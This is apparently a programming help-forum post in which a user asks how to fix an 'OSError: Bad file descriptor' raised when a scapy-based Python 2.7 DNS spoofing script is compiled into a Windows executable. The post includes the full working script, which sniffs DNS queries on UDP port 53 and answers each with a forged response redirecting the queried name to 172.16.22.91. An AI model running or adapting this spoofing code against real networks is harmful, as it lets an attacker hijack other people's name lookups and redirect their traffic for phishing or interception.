I'm using python 2.7 and scapy-2.2.0 in windows xp. I'm trying dns spoofing and it works well in python. but when I make to .exe and execute it, I got this error
Traceback (most recent call last): File "dns_spoof.py", line 17, in <module> File "scapy\arch\windows\__init__.pyc", line 523, in sniff File "dns_spoof.py", line 15, in dns_spoof File "scapy\sendrecv.pyc", line 251, in send File "scapy\sendrecv.pyc", line 237, in __gen_send OSError: [Errno 9] Bad file descriptor How can I fix it? Please help.
This is source code.
import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) try: from scapy.all import * except: from scapy import * def dns_spoof(pkt): redirect_to = '172.16.22.91' if pkt.haslayer(DNSQR): # DNS question record spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \ an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to)) send(spoofed_pkt) print 'Sent:', spoofed_pkt.summary() sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)